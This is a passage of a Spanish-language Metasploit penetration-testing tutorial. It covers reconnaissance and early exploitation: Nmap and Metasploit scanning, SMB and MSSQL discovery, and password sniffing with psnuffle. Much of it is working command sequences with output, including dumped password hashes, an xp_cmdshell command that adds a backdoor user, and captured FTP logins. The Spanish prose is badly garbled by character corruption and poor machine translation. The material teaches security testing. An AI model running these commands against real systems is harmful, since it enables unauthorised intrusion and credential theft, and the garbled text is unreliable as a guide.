SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:36547c5a8a3de7d422a026e51097
ccc9:::
victim:1003:81cbcea8a9af93bbaad3b435b51404ee:561cbdae13ed5abd30aa94ddeb3cf52d:::
meterpreter >
&nformation Patherin!
)ecopilacin de informacin
7a base de cualquier prueba de penetracin exitosa es la recopilacin de informacin slida. 9o llevar
a cabo la recopilacin de informacin adecuada se tienen que aitaba en torno a las mquinas de azar,
atacando a los dems que no son vulnerables y que estn desaparecidos.
A continuacin se cubre varias funciones Metasploit framework que
pueden ayudar con el esfuerzo de recopilacin de informacin.
The Dradis Framework
Wa sea que usted est realizando una pen?test como parte de un equipo o que estn traba%ando por su
cuenta, tendr que ser capaz de almacenar los resultados para una consulta rpida, compartir sus datos
con su equipo, y ayudar a redactar su informe final. 5na excelente herramienta para realizar todas las lo
anterior es el #rame2or3 dradis. )radis es un frame2or3 open source para el intercambio de
informacin durante las evaluaciones de seuridad y se puede encontrar aqu. El #rame2or3 dradis se
est desarrollando activamente con las nuevas caractersticas se a0aden reularmente.
)radis es mucho ms que una simple toma de notas de aplicacin. $omunicacin a trav!s de SS7,
puede importar archivos de 9map y 9essus resultado, ad%untar archivos, enerar informes, y se puede
ampliar para conectarse con sistemas externos Kpor e%emplo, base de datos de la vulnerabilidadM. bac3 H
trac3L puede e%ecutar los siuientes comandos para iniciar dradis=
root@bt:~# cd /pentest/misc/dradis/
root@bt:/pentest/misc/dradis# ./start.sh
=> Booting WEBrick
=> Rails 3.0.6 application starting in production on http://127.0.0.1:3004
=> Call with -d to detach
=> Ctrl-C to shutdown server
[2011-05-20 09:47:29] INFO WEBrick 1.3.1
[2011-05-20 09:47:29] INFO ruby 1.9.2 (2010-07-02) [i486-linux]
[2011-05-20 09:47:29] INFO
Certificate:
Data:
Version: 1 (0x0)
Serial Number:
8a:d4:1d:fe:b0:01:ee:b4
Signature Algorithm: sha1WithRSAEncryption
...snip...
Una vez que el servidor ha completado la puesta en marcha, estamos listos para
abrir la interfaz web dradis. Vaya a https://localhost:300 !o utilizar la
direcci"n #$%, aceptar la advertencia de certificado, leer a trav&s del asistente,
a continuaci"n, introduzca la aplicaci"n y establecer una nueva contrase'a del
servidor cuando se le solicite. ( continuaci"n, puede iniciar sesi"n en dradis.
)en*a en cuenta que no hay nombres de usuario para establecer as+ el inicio de
sesi"n, puede utilizar cualquier nombre de usuario que te *usta. ,i todo va bien,
se le presentar- con el principal espacio de traba.o dradis.
En el lado izquierdo se puede crear una estructura de rbol. 7a utilizan para oranizar su informacin
Kpor e%emplo= 'lo%amiento, subredes, servicios, etc.M En la mano derecha?se puede a0adir la
informacin correspondiente a cada elemento Kque las notas o archivos ad%untosM.
/uede encontrar ms informacin sobre el luar del proyecto dradis #rame2or3.
#onfi!urin! Dataases
#onfi!urando Dataases
$uando se realiza una prueba de penetracin, es con frecuencia un desafo para realizar un seuimiento
de todo lo que han hecho a la red ob%etivo. 'qu es donde tener una base de datos confiurado puede
ser un ran ahorro de tiempo. &etasploit frame2or3 tiene soporte para dos diferentes bases de datos=
&yS<7 y /ostreS<7.
msf > db_driver
[*] Active Driver: postgresql
[*] Available: postgresql, mysql
MOS:/
En ;ac3Trac3 L, &yS<7 y &etasploit frame2or3 traba%ar %untos Cout of the boxC y establece una base
de datos muy robusto, y bien apoyados. /ara comenzar, primero hay que iniciar el servicio &yS<7, si
no se est e%ecutando ya.
root@bt:~# /etc/init.d/mysql start
Starting MySQL database server: mysqld.
Checking for corrupt, not cleanly closed and upgrade needing tables..
root@bt:~#
)entro de msfconsole, entonces necesitamos decirle &etasploit frame2or3 para utilizar el controlador
de base de datos mysql.
msf > db_driver mysql
[*] Using database driver mysql
5na vez que el controlador se ha carado, simplemente hay que conectarse a la base de datos. 6unnin
Cdb@connectC se mostrar el uso para nosotros. Si la base de datos no existe, ser creado por nosotros
de forma automtica. En ;ac3Trac3 L, las credenciales por defecto de &yS<7 es root > toor.
msf > db_connect
[*] Usage: db_connect @/
[*] OR: db_connect -y [path/to/database.yml]
[*] Examples:
[*] db_connect user@metasploit3
[*] db_connect user:pass@192.168.0.2/metasploit3
[*] db_connect user:pass@192.168.0.2:1500/metasploit3
msf > db_connect root:toor@127.0.0.1/msf3
$on el fin de verificar que la base de datos se ha creado correctamente y que no estamos usando una
que no quiero, que acaba de e%ecutar Cdb@hostsC y puede ver que la tabla est vaca.
msf > db_hosts
Hosts
=====
address address6 arch comm comments created_at info mac name os_flavor
os_lang os_name os_sp purpose state updated_at svcs vulns workspace
------- -------- ---- ---- -------- ---------- ---- --- ---- ---------
------- ------- ----- ------- ----- ---------- ---- ----- ---------
msf >
$uando haya terminado con la base de datos o simplemente quieres volver a empezar, puede eliminar
la base de datos de la siuiente manera.
msf > db_destroy root:toor@127.0.0.1/msf3
Database "msf3" dropped
msf >
2ost!reS:/
En ;ac3Trac3 L, la instalacin &etasploit frame2or3 viene con /ostreS<7 pre?instalado y escucha en
el puerto T$/ FOFL por lo que se necesita ninuna confiuracin adicional necesaria. $uando la cara
hasta msfconsole, y e%ecutar Cdb@driverC, vemos que, por defecto, &etasploit frame2or3 est
confiurado para usar /ostreS<7.
msf > db_driver
[*] Active Driver: postgresql
[*] Available: postgresql, mysql
msf >
Se puede comprobar que la conexin sea operativa mediante la emisin de la Cdb@hostsC de comandos.
msf > db_hosts
Hosts
=====
address address6 arch comm comments created_at info mac name os_flavor
os_lang os_name os_sp purpose state updated_at svcs vulns workspace
------- -------- ---- ---- -------- ---------- ---- --- ---- ---------
------- ------- ----- ------- ----- ---------- ---- ----- ---------
msf >
/ara destruir la base de datos, se utiliza el Cdb@destroyC comando como se muestra a continuacin.
msf > db_destroy postgres:toor@127.0.0.1/msf3
[*] Warning: You will need to enter the password at the prompts below
Password:
msf >
Port Scanning
,scaneo de puertos
'unque ya se ha instalado y confiurado dradis para almacenar nuestras notas y los resultados, siue
siendo una buena prctica para crear una nueva base de datos dentro de &etasploit frame2or3 que los
datos todava pueden ser Dtiles para tener una recuperacin rpida y para su uso en escenarios de ataque
determinado.
msf > db_connect postgres:toor@127.0.0.1/msf3
msf > help
...snip...
Database Backend Commands
=========================
Command Description
------- -----------
db_add_cred Add a credential to a host:port
db_add_host Add one or more hosts to the database
db_add_note Add a note to a host
db_add_port Add a port to a host
db_autopwn Automatically exploit everything
db_connect Connect to an existing database
db_create Create a brand new database
db_creds List all credentials in the database
db_del_host Delete one or more hosts from the database
db_del_port Delete one port from the database
db_destroy Drop an existing database
db_disconnect Disconnect from the current database instance
db_driver Specify a database driver
db_exploited List all exploited hosts in the database
db_export Export a file containing the contents of the database
db_hosts List all hosts in the database
db_import Import a scan result file (filetype will be auto-
detected)
db_import_amap_log Import a THC-Amap scan results file (-o )
db_import_amap_mlog Import a THC-Amap scan results file (-o -m)
db_import_ip360_xml Import an IP360 scan result file (XML)
db_import_ip_list Import a list of line seperated IPs
db_import_msfe_xml Import a Metasploit Express report (XML)
db_import_nessus_nbe Import a Nessus scan result file (NBE)
db_import_nessus_xml Import a Nessus scan result file (NESSUS)
db_import_nmap_xml Import a Nmap scan results file (-oX)
db_import_qualys_xml Import a Qualys scan results file (XML)
db_loot List all loot in the database
db_nmap Executes nmap and records the output automatically
db_notes List all notes in the database
db_services List all services in the database
db_status Show the current database status
db_sync Synchronize the database
db_vulns List all vulnerabilities in the database
db_workspace Switch between database workspaces
msf >
/odemos usar el comando QdJnmap ;para e%ecutar un anlisis con 9map contra nuestros ob%etivos y
que los resultados de exploracin almacenados en la base de datos reci!n creada sin embaro, si usted
tambi!n desea importar los resultados del anlisis en dradis, es probable que desee exportar los
resultados del anlisis en formato N&7. Siempre es bueno tener las tres salidas de 9map Kxml, rep, y
normalM para poder e%ecutar el anlisis con 9map usando la opcin -?o'- seuido del nombre de archivo
deseado para enerar los archivos de salida de tres a continuacin, emita el comando -db@import- para
poblar la base de datos de &etasploit frame2or3.
Si no desea importar los resultados en dradis, simplemente e%ecuta 9map usando -db@nmap- con las
opciones que se utilizan normalmente, omitiendo la bandera de salida. El siuiente e%emplo sera
Cdb@nmap?v?s: OUJ.OPX.O.G>JIC.
msf > nmap -v -sV 192.168.1.0/24 -oA subnet_1
[*] exec: nmap -v -sV 192.168.1.0/24 -oA subnet_1
Starting Nmap 5.00 ( http://nmap.org ) at 2009-08-13 19:29 MDT
NSE: Loaded 3 scripts for scanning.
Initiating ARP Ping Scan at 19:29
Scanning 101 hosts [1 port/host]
...
Nmap done: 256 IP addresses (16 hosts up) scanned in 499.41 seconds
Raw packets sent: 19973 (877.822KB) | Rcvd: 15125 (609.512KB)
$on el acabado anlisis, que emitir el -db@import- comando que automticamente detecta e importar el
archivo xml 9map.
msf > db_import subnet_1.xml
[*] Importing 'Nmap XML' data
[*] Importing host 192.168.1.1
[*] Importing host 192.168.1.2
[*] Importing host 192.168.1.11
[*] Importing host 192.168.1.100
[*] Importing host 192.168.1.101
...snip...
7os resultados del anlisis con 9map importados se pueden ver a trav!s de la -db@hosts y comandos-
db@services=
msf > db_hosts -c address,mac
Hosts
=====
address mac
------- ---
192.168.1.1 C6:E9:5B:12:DC:5F
192.168.1.100 58:B0:35:6A:4E:CC
192.168.1.101
192.168.1.102 58:55:CA:14:1E:61
...snip...
msf > db_services -c port,state
Services
========
host port state
---- ---- -----
192.168.1.1 22 open
192.168.1.1 53 open
192.168.1.1 80 open
192.168.1.1 3001 open
192.168.1.1 8080 closed
192.168.1.100 22 open
192.168.1.101 22 open
192.168.1.101 80 open
192.168.1.101 7004 open
192.168.1.101 9876 open
...snip...
'dems, con el anlisis con 9map completado, podemos importar los resultados en dradis trav!s de la
interfaz 2eb. 5na vez importada, actualice la vista y ver los resultados de los anlisis con 9map
importados en un formato fcil de navear de los rboles.
(otes on Scanners and Au.iliary Modules
(otas sore Scanners y mdulos au.iliares
Escneres y mdulos auxiliares mayora de los otros usar la opcin rhosts en luar de rhost. 6hosts
puede tomar ranos de 4/ KOUJ.OPX.O.JG?OUJ.OPX.O.EGM, ranos $4)6 KOUJ.OPX.O.G>JIM, varios ranos
separados por comas KOUJ.OPX.O.G>JI, OUJ.OPX.E.G>JIM, y la lnea de separar los archivos de host lista
Kfile= > tmp > hostlist.txtM. Este es otro uso para nuestro archivo rep salida de 9map.
Tena en cuenta tambi!n que, por defecto, todos los mdulos de escner tendr el valor de subprocesos
establecidos en el -O -. El valor T"6E')S establece el nDmero de T"6E')S concurrentes para usar
durante la exploracin. Establezca este valor en un nDmero ms alto con el fin de acelerar su anlisis o
para evitar que menores con el fin de reducir el trfico de red, pero aseDrese de cumplir con las
siuientes pautas=
< Mantenga el valor 4!R(A)% menores de 3A a6os nativo de sistemas #inH&
< Mantenga 4!R(A)% menos de &OO cuando se ejecuta M%* bajo ,yg"in
< (n 5nix-como sistemas operativos@ temas pueden ser establecido en &PA;
,scaneo de puertos
'dems de e%ecutar 9map, hay una variedad de exploradores de puertos que estn disponibles para
nosotros .
msf > search portscan
[*] Searching loaded modules for pattern 'portscan'...
Auxiliary
=========
Name Description
---- -----------
scanner/portscan/ack TCP ACK Firewall Scanner
scanner/portscan/ftpbounce FTP Bounce Port Scanner
scanner/portscan/syn TCP SYN Port Scanner
scanner/portscan/tcp TCP Port Scanner
scanner/portscan/xmas TCP "XMas" Port Scanner
7os resultados del anlisis con 9map importados se pueden ver a trav!s de la -db@hosts y comandos-
db@services=
msf > cat subnet_1.gnmap | grep 80/open | awk '{print $2}'
[*] exec: cat subnet_1.gnmap | grep 80/open | awk '{print $2}'
192.168.1.1
192.168.1.2
192.168.1.10
192.168.1.109
192.168.1.116
192.168.1.150
El anlisis con 9map nos encontramos antes un sondeo SW9 por lo que vamos a e%ecutar el anlisis a
trav!s de la misma subred buscando el puerto XG a trav!s de nuestra interfaz ethG con &etasploit
frame2or3.
msf > use auxiliary/scanner/portscan/syn
msf auxiliary(syn) > show options
Module options (auxiliary/scanner/portscan/syn):
Name Current Setting Required Description
---- --------------- -------- -----------
BATCHSIZE 256 yes The number of hosts to scan per set
INTERFACE no The name of the interface
PORTS 1-10000 yes Ports to scan (e.g. 22-25,80,110-900)
RHOSTS yes The target address range or CIDR
identifier
SNAPLEN 65535 yes The number of bytes to capture
THREADS 1 yes The number of concurrent threads
TIMEOUT 500 yes The reply read timeout in milliseconds
msf auxiliary(syn) > set INTERFACE eth0
INTERFACE => eth0
msf auxiliary(syn) > set PORTS 80
PORTS => 80
msf auxiliary(syn) > set RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24
msf auxiliary(syn) > set THREADS 50
THREADS => 50
msf auxiliary(syn) > run
[*] TCP OPEN 192.168.1.1:80
[*] TCP OPEN 192.168.1.2:80
[*] TCP OPEN 192.168.1.10:80
[*] TCP OPEN 192.168.1.109:80
[*] TCP OPEN 192.168.1.116:80
[*] TCP OPEN 192.168.1.150:80
[*] Auxiliary module execution completed
's podemos ver que &etasploit frame2or3 interado en los mdulos de escner son ms que capaces
de sistemas de bDsqueda y puerto abierto para nosotros. Es slo otra excelente herramienta para tener
en su arsenal si le toca estar en e%ecucin &etasploit frame2or3 en un sistema sin 9map instalado.
S&; la deteccin de versiones
'hora que hemos determinado que albera se encuentran disponibles en la red, podemos intentar
determinar qu! sistemas operativos se estn e%ecutando. Esto nos ayudar a reducir nuestros ataques
para atacar un sistema especfico y vamos a de%ar de perder el tiempo en los que no son vulnerables a
un exploit en particular.
/uesto que hay muchos sistemas en nuestro anlisis que tener el puerto IIL abierto, vamos a utilizar el
Cscanner > smb > versin de -mdulo para determinar qu! versin de (indo2s se e%ecuta en un ob%etivo
y que la versin de Samba se encuentra en un host 7inux.
msf > use auxiliary/scanner/smb/smb_version
msf auxiliary(smb_version) > set RHOSTS 192.168.1.200-210
RHOSTS => 192.168.1.200-210
msf auxiliary(smb_version) > set THREADS 11
THREADS => 11
msf auxiliary(smb_version) > run
[*] 192.168.1.209:445 is running Windows 2003 R2 Service Pack 2 (language: Unknown)
(name:XEN-2K3-FUZZ) (domain:WORKGROUP)
[*] 192.168.1.201:445 is running Windows XP Service Pack 3 (language: English)
(name:V-XP-EXPLOIT) (domain:WORKGROUP)
[*] 192.168.1.202:445 is running Windows XP Service Pack 3 (language: English)
(name:V-XP-DEBUG) (domain:WORKGROUP)
[*] Scanned 04 of 11 hosts (036% complete)
[*] Scanned 09 of 11 hosts (081% complete)
[*] Scanned 11 of 11 hosts (100% complete)
[*] Auxiliary module execution completed
,bserve tambi!n que si nosotros emitimos el comando -db@hosts- ahora, la informacin reci!n
adquirida se almacena en la base de datos de &etasploit.
msf auxiliary(smb_version) > db_hosts
Hosts
=====
address mac name os_name os_flavor os_sp purpose info
comments
------- --- ---- ------- --------- ----- ------- ----
--------
192.168.1.201 Microsoft Windows XP SP3 client
192.168.1.202 Microsoft Windows XP SP3 client
192.168.1.209 Microsoft Windows 2003 R2 SP2 server
&dle Scannin!
4/4) de exploracin de inactividad de nmap que nos permite ser un poco cauteloso analizar el mismo
ob%etivo, mientras que dando la direccin 4/ de otro host en la red. /ara que este tipo de anlisis para el
traba%o, tendremos que buscar un host que est inactivo en la red y utiliza secuencias de cualquiera de
4/4) como 4ncremental o rotos 7ittle?Endian incremental de. &etasploit frame2or3 contiene Cscanner >
ip > ipidseq -el mdulo para analizar y buscar un host que se a%uste a los requisitos.
En el libro ratis en lnea 9map, puede encontrar ms informacin sobre el escaneo de 9map 4dle.
msf auxiliary(writable) > use auxiliary/scanner/ip/ipidseq
msf auxiliary(ipidseq) > show options
Module options (auxiliary/scanner/ip/ipidseq):
Name Current Setting Required Description
---- --------------- -------- -----------
INTERFACE no The name of the interface
RHOSTS yes The target address range or CIDR
identifier
RPORT 80 yes The target port
SNAPLEN 65535 yes The number of bytes to capture
THREADS 1 yes The number of concurrent threads
TIMEOUT 500 yes The reply read timeout in milliseconds
msf auxiliary(ipidseq) > set RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24
msf auxiliary(ipidseq) > set THREADS 50
THREADS => 50
msf auxiliary(ipidseq) > run
[*] 192.168.1.1's IPID sequence class: All zeros
[*] 192.168.1.2's IPID sequence class: Incremental!
[*] 192.168.1.10's IPID sequence class: Incremental!
[*] 192.168.1.104's IPID sequence class: Randomized
[*] 192.168.1.109's IPID sequence class: Incremental!
[*] 192.168.1.111's IPID sequence class: Incremental!
[*] 192.168.1.114's IPID sequence class: Incremental!
[*] 192.168.1.116's IPID sequence class: All zeros
[*] 192.168.1.124's IPID sequence class: Incremental!
[*] 192.168.1.123's IPID sequence class: Incremental!
[*] 192.168.1.137's IPID sequence class: All zeros
[*] 192.168.1.150's IPID sequence class: All zeros
[*] 192.168.1.151's IPID sequence class: Incremental!
[*] Auxiliary module execution completed
' %uzar por los resultados de nuestro anlisis, tenemos un nDmero de zombies potencial que podemos
utilizar para realizar la exploracin de inactividad. :amos a tratar de escanear un host con el zombie en
OUJ.OPX.O.OGU y ver si podemos obtener los mismos resultados que tenamos antes.
msf auxiliary(ipidseq) > nmap -PN -sI 192.168.1.109 192.168.1.114
[*] exec: nmap -PN -sI 192.168.1.109 192.168.1.114
Starting Nmap 5.00 ( http://nmap.org ) at 2009-08-14 05:51 MDT
Idle scan using zombie 192.168.1.109 (192.168.1.109:80); Class: Incremental
Interesting ports on 192.168.1.114:
Not shown: 996 closed|filtered ports
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3389/tcp open ms-term-serv
MAC Address: 00:0C:29:41:F2:E8 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 5.56 seconds
"untin! For MSS:/
A la ca-a de MSS:/
5no de mis favoritos es la huella de 5)/ avanzada de servidores &SS<7. Si usted est realizando una
prueba de penetracin interna esto es una necesidad el uso de herramientas. $uando se instala &SS<7,
ya sea que se instale en el puerto OIEE T$/ o un estudio aleatorio dinmica de puertos T$/. Si el
puerto se enera dinmicamente, esto puede ser bastante difcil para un atacante para encontrar los
servidores &SS<7 a los ataques. /or suerte con &icrosoft, que nos ha bendecido con el puerto OIEI
5)/ que una vez le preunt a tirar un poco de informacin sobre el servidor S<7 incluyendo lo que
el puerto de escucha T$/ est activada. :amos a carar el mdulo y lo utilizan para descubrir varios
servidores.
msf > search mssql
[*] Searching loaded modules for pattern 'mssql'...
Exploits
========
Name Description
---- -----------
windows/mssql/lyris_listmanager_weak_pass Lyris ListManager MSDE Weak sa
Password
windows/mssql/ms02_039_slammer Microsoft SQL Server Resolution
Overflow
windows/mssql/ms02_056_hello Microsoft SQL Server Hello Overflow
windows/mssql/mssql_payload Microsoft SQL Server Payload
Execution
Auxiliary
=========
Name Description
---- -----------
admin/mssql/mssql_enum Microsoft SQL Server Configuration Enumerator
admin/mssql/mssql_exec Microsoft SQL Server xp_cmdshell Command Execution
admin/mssql/mssql_sql Microsoft SQL Server Generic Query
scanner/mssql/mssql_login MSSQL Login Utility
scanner/mssql/mssql_ping MSSQL Ping Utility
msf > use scanner/mssql/mssql_ping
msf auxiliary(mssql_ping) > show options
Module options (auxiliary/scanner/mssql/mssql_ping):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD no The password for the specified
username
RHOSTS yes The target address range or CIDR
identifier
THREADS 1 yes The number of concurrent threads
USERNAME sa no The username to authenticate as
USE_WINDOWS_AUTHENT false yes Use windows authentification
msf auxiliary(mssql_ping) > set RHOSTS 10.211.55.1/24
RHOSTS => 10.211.55.1/24
msf auxiliary(mssql_ping) > exploit
[*] SQL Server information for 10.211.55.128:
[*] tcp = 1433
[*] np = SSHACKTHISBOX-0pipesqlquery
[*] Version = 8.00.194
[*] InstanceName = MSSQLSERVER
[*] IsClustered = No
[*] ServerName = SSHACKTHISBOX-0
[*] Auxiliary module execution completed
El primer comando que se emiti la bDsqueda de cualquier -mssql- pluins. El seundo con%unto de
instrucciones es el Cscanner uso > mssql > mssql@pin, esto carar el mdulo de escner para nosotros.
' continuacin, Cmostrar opcionesC nos permite ver lo que tenemos que especificar. El -set rhosts
OG.JOO.LL.O>JI- establece el rano de subred que queremos empezar a buscar servidores S<7 en. 5sted
puede especificar un > OP o lo que quieras ir despu!s. Wo recomendara aumentar el nDmero de
T"6E')S ya que esto podra llevar mucho tiempo con un escner de un solo subproceso.
Tras la orden -correr- se emite, una exploracin que va a llevar a cabo y extraer informacin especfica
sobre el nuevo servidor de &SS<7. $omo podemos ver, el nombre de la mquina es
CSS"'$*T"4S;,N?GC y el puerto T$/ se est e%ecutando en OIEE. En este punto se puede utilizar el
Cscanner > mssql > mssql@loinC mdulo de la fuerza bruta la contrase0a de pasar por el mdulo en un
archivo de diccionario. /or otra parte, tambi!n se puede utilizar por va rpida, medusa, o hidra de
hacer esto. 5na vez que consia adivinar la contrase0a, no hay un mdulo de poco aseado para e%ecutar
el procedimiento xp@cmdshell almacenados.
msf auxiliary(mssql_login) > use admin/mssql/mssql_exec
msf auxiliary(mssql_exec) > show options
Module options (auxiliary/admin/mssql/mssql_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
CMD cmd.exe /c echo OWNED > C:\owned.exe no Command to
execute
PASSWORD no The
password for the specified username
RHOST yes The target
address
RPORT 1433 yes The target
port
USERNAME sa no The
username to authenticate as
USE_WINDOWS_AUTHENT false yes Use windows
authentification
msf auxiliary(mssql_exec) > set RHOST 10.211.55.128
RHOST => 10.211.55.128
msf auxiliary(mssql_exec) > set MSSQL_PASS password
MSSQL_PASS => password
msf auxiliary(mssql_exec) > set CMD net user rel1k ihazpassword /ADD
cmd => net user rel1k ihazpassword /ADD
msf auxiliary(mssql_exec) > exploit
The command completed successfully.
[*] Auxiliary module execution completed
En cuanto a la salida de la Cnet user relO3 ihazpass2ord > T)', hemos areado correctamente una
cuenta de usuario llamadaC relO3 C, de all que podra emitirC net localroup administradores relO3 >
')) -para conseuir un administrador local en el propio sistema. Tenemos el control total de este
sistema en este momento.
Service &dentification
servicio de identificacin
5na vez ms, que no sea el uso de 9map para realizar la exploracin de los servicios en nuestra red de
destino, &etasploit frame2or3 tambi!n incluye una ran variedad de escneres para varios servicios, a
menudo ayuda a determinar los servicios funcionando potencialmente vulnerables en los equipos
ob%etivo.
msf auxiliary(tcp) > search auxiliary ^scanner
[*] Searching loaded modules for pattern '^scanner'...
Auxiliary
=========
Name Description
---- -----------
scanner/db2/discovery DB2 Discovery Service Detection.
scanner/dcerpc/endpoint_mapper Endpoint Mapper Service Discovery
scanner/dcerpc/hidden Hidden DCERPC Service Discovery
scanner/dcerpc/management Remote Management Interface
Discovery
scanner/dcerpc/tcp_dcerpc_auditor DCERPC TCP Service Auditor
scanner/dect/call_scanner DECT Call Scanner
scanner/dect/station_scanner DECT Base Station Scanner
scanner/discovery/arp_sweep ARP Sweep Local Network Discovery
scanner/discovery/sweep_udp UDP Service Sweeper
scanner/emc/alphastor_devicemanager EMC AlphaStor Device Manager
Service.
scanner/emc/alphastor_librarymanager EMC AlphaStor Library Manager
Service.
scanner/ftp/anonymous Anonymous FTP Access Detection
scanner/http/frontpage FrontPage Server Extensions
Detection
scanner/http/frontpage_login FrontPage Server Extensions Login
Utility
scanner/http/lucky_punch HTTP Microsoft SQL Injection Table
XSS Infection
scanner/http/ms09_020_webdav_unicode_bypass MS09-020 IIS6 WebDAV Unicode Auth
Bypass
scanner/http/options HTTP Options Detection
scanner/http/version HTTP Version Detection
...snip...
scanner/ip/ipidseq IPID Sequence Scanner
scanner/misc/ib_service_mgr_info Borland InterBase Services Manager
Information
scanner/motorola/timbuktu_udp Motorola Timbuktu Service
Detection.
scanner/mssql/mssql_login MSSQL Login Utility
scanner/mssql/mssql_ping MSSQL Ping Utility
scanner/mysql/version MySQL Server Version Enumeration
scanner/nfs/nfsmount NFS Mount Scanner
scanner/oracle/emc_sid Oracle Enterprise Manager Control
SID Discovery
scanner/oracle/sid_enum SID Enumeration.
scanner/oracle/spy_sid Oracle Application Server Spy
Servlet SID Enumeration.
scanner/oracle/tnslsnr_version Oracle tnslsnr Service Version
Query.
scanner/oracle/xdb_sid Oracle XML DB SID Discovery
...snip...
scanner/sip/enumerator SIP username enumerator
scanner/sip/options SIP Endpoint Scanner
scanner/smb/login SMB Login Check Scanner
scanner/smb/pipe_auditor SMB Session Pipe Auditor
scanner/smb/pipe_dcerpc_auditor SMB Session Pipe DCERPC Auditor
scanner/smb/smb2 SMB 2.0 Protocol Detection
scanner/smb/version SMB Version Detection
scanner/smtp/smtp_banner SMTP Banner Grabber
scanner/snmp/aix_version AIX SNMP Scanner Auxiliary Module
scanner/snmp/community SNMP Community Scanner
scanner/ssh/ssh_version SSH Version Scannner
scanner/telephony/wardial Wardialer
scanner/tftp/tftpbrute TFTP Brute Forcer
scanner/vnc/vnc_none_auth VNC Authentication None Detection
scanner/x11/open_x11 X11 No-Auth Scanner
9uestro anlisis de puertos se present alunas mquinas con el puerto T$/ JJ abierto. SS" es muy
seuro, pero las vulnerabilidades no son desconocidos y siempre vale la pena reunir tanta informacin
como sea posible de sus ob%etivos. :amos a poner nuestro archivo de salida para rep va a utilizar para
este e%emplo, el anlisis de los hosts que tienen el puerto JJ abierto y pasarla a -rhosts-.
msf auxiliary(arp_sweep) > use scanner/ssh/ssh_version
msf auxiliary(ssh_version) > show options
Module options (auxiliary/scanner/ssh/ssh_version):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target address range or CIDR identifier
RPORT 22 yes The target port
THREADS 1 yes The number of concurrent threads
TIMEOUT 30 yes Timeout for the SSH probe
msf auxiliary(ssh_version) > cat subnet_1.gnmap | grep 22/open | awk '{print $2}' >
/tmp/22_open.txt
[*] exec: cat subnet_1.gnmap | grep 22/open | awk '{print $2}' > /tmp/22_open.txt
msf auxiliary(ssh_version) > set RHOSTS file:/tmp/22_open.txt
RHOSTS => file:/tmp/22_open.txt
msf auxiliary(ssh_version) > set THREADS 50
THREADS => 50
msf auxiliary(ssh_version) > run
[*] 192.168.1.1:22, SSH server version: SSH-2.0-dropbear_0.52
[*] 192.168.1.137:22, SSH server version: SSH-1.99-OpenSSH_4.4
[*] Auxiliary module execution completed
&al confiurados los servidores de #T/ con frecuencia puede ser el punto de apoyo que usted necesita
para tener acceso a toda la red por lo que siempre vale la pena comprobar para ver si el acceso annimo
se permite cada vez que encuentro un puerto #T/ que por lo eneral en el puerto T$/ JO. :amos a fi%ar
los T"6E')S a OG aqu slo vamos a analizar el rano de OG hosts.
msf > use scanner/ftp/anonymous
msf auxiliary(anonymous) > set RHOSTS 192.168.1.20-192.168.1.30
RHOSTS => 192.168.1.20-192.168.1.30
msf auxiliary(anonymous) > set THREADS 10
THREADS => 10
msf auxiliary(anonymous) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
FTPPASS mozilla@example.com no The password for the specified username
FTPUSER anonymous no The username to authenticate as
RHOSTS yes The target address range or CIDR
identifier
RPORT 21 yes The target port
THREADS 1 yes The number of concurrent threads
msf auxiliary(anonymous) > run
[*] 192.168.1.23:21 Anonymous READ (220 (vsFTPd 1.1.3))
[*] Recording successful FTP credentials for 192.168.1.23
[*] Auxiliary module execution completed
En un corto periodo de tiempo y con muy poco traba%o, estamos en condiciones de adquirir una ran
cantidad de informacin acerca de los anfitriones que residen en nuestra red por lo tanto nos
proporciona una imaen mucho me%or de lo que se enfrentan a la hora de realizar nuestra prueba de
penetracin.
2assword Sniffin!
6ecientemente, &ax &oser public un mdulo de contrase0a &etasploit frame2or3 oler llamado
-psnuffle- que rastrear contrase0as de la conexin similar a la herramienta dsniff. 'ctualmente soporta
/,/E, 4&'/, #T/ y "TT/ .ET. /uede leer ms sobre el mdulo en el ;lo de &ax en http=>>remote?
exploit.blospot.com>JGGU>GX>psnuffle?pass2ord?sniffer?for.html.
' trav!s del Cpsnuffle -mdulo es muy simple. "ay alunas opciones disponibles, pero el mdulo de
randes obras Cout of the boxC.
msf > use auxiliary/sniffer/psnuffle
msf auxiliary(psnuffle) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
FILTER no The filter string for capturing traffic
INTERFACE no The name of the interface
PCAPFILE no The name of the PCAP capture file to
process
PROTOCOLS all yes A comma-delimited list of protocols to
sniff or "all".
RHOST yes The target address
SNAPLEN 65535 yes The number of bytes to capture
TIMEOUT 1 yes The number of seconds to wait for new data
$omo puede ver, la Dnica opcin obliatoria que requiere la accin es rhost. Tambi!n hay alunas
opciones disponibles, incluyendo la posibilidad de importar un archivo de captura /$'/. :amos a
e%ecutar el escner en su modo predeterminado.
msf auxiliary(psnuffle) > set RHOST 192.168.1.155
RHOST => 192.168.1.155
msf auxiliary(psnuffle) > run
[*] Auxiliary module running as background job
[*] Loaded protocol FTP from
/pentest/exploits/framework3/data/exploits/psnuffle/ftp.rb...
[*] Loaded protocol IMAP from
/pentest/exploits/framework3/data/exploits/psnuffle/imap.rb...
[*] Loaded protocol POP3 from
/pentest/exploits/framework3/data/exploits/psnuffle/pop3.rb...
[*] Loaded protocol URL from
/pentest/exploits/framework3/data/exploits/psnuffle/url.rb...
[*] Sniffing traffic.....
[*] Successful FTP Login: 192.168.1.112:21-192.168.1.101:48614 >> dookie / dookie
(220 3Com 3CDaemon FTP Server Version 2.0)
Y'h estZ "emos capturado un exitoso inicio de sesin #T/. Esta es una excelente herramienta para la
recopilacin de informacin pasiva.
,.tendin! 2snuffle
/snuffle es fcil de extender, debido a su dise0o modular. Esta seccin le uiar a trav!s del proceso de
desarrollo de un 46$ K4nternet 6elay $hatM protocolo de sniffer K9otificacin y mensa%es de 9ic3M.
5bicacin del mdulo
Todos los diferentes mdulos se encuentran en los datos > exploits > psnuffle. 7os nombres se
corresponden con los nombres de protocolo que se utiliza dentro de psnuffle. /ara desarrollar nuestro
